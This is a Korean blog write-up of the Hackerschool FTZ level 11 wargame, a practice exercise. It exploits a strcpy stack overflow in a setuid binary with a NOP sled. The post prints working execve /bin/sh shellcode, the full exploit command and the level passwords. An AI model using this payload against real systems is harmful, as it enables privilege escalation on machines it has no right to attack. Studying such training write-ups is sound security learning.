티스토리 뷰
FTZ level11
pw : what!@#$?
드디어 이제부터 bof를 익히는 11레벨입니다.
먼저 ls명령을 통해 확인해보겠습니다.
attackme 라는 setuid가 걸린 파일과 hint가 있군요!
힌트를 보겠습니다.
argv[1]을 str변수안에 strcpy를 합니다. 여기서 bof취약점이 발생하게됩니다.
리턴 어드레스를 덮어서 값을 수정해 쉘코드가 있는 부분으로 점프해주면 되겠네요.
NOP sled 방식으로 풀어보겠습니다.
디버깅을 하기위해 tmp폴더로 attackme파일을 옮기겠습니다.
그 후,
gdb로 분석하도록 하겠습니다.
인텔로 바꾼 뒤 분석해보겠습니다.
0x108만큼 스택 프레임을 구성합니다.
264바이트입니다.
아까 str변수가 256바이트로 선언되어있으니 dummy는 8바이트 입니다.
따라서 메모리구조는
| str(256) | dummy(8) | sfp | ret |
이 되겠습니다.
str의 메모리 주소를 알아보기 위해 디버깅해보겠습니다.
strcpy가 실행되고 후인 대략 main+53에 브레이크포인트를 걸고 실행해보겠습니다.
payload 구성은
\x90(null) * 227 + 25byte shell code +\x90*16 + [NOP의 주소(ret)] 으로 해보겠습니다.
./attackme `python -c ‘print “\x90”*227 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” + “\x90”*16 + [ret]’`
브레이크포인트를 걸고 쉘코드를 argv에 담아 넣고 esp를 확인해보겠습니다.
0xbffffb60을 ret으로 잡고 NOP sled에 도전해보겠습니다.
sh을 땄습니다.
실제공격을 해보겠습니다.
권한 상승이 되었습니다.
Level12 Password is "it is like this".
'pwnable > FTZ' 카테고리의 다른 글
[Hackerschool FTZ] Level13 write-up (0) | 2018.01.15 |
---|---|
[Hackerschool FTZ] Level12 write-up (0) | 2018.01.15 |
[Hackerschool FTZ] Level10 write-up (0) | 2018.01.14 |
[Hackerschool FTZ] Level9 write-up (0) | 2018.01.14 |
[Hackerschool FTZ] Level8 write-up (0) | 2018.01.14 |
- 해킹
- HackCTF
- heap
- exit
- tcache
- shellcoding
- SQLi
- srop
- stack reusing
- overflow
- pwnable
- fastbindup
- rt_sigreturn
- TLS
- fastbin
- oob
- codegate
- hacking
- glibc
- fsop
- pwable
- pwnable.tw
- FSB
- 본선가고싶다
- ebp change
- Total
- Today
- Yesterday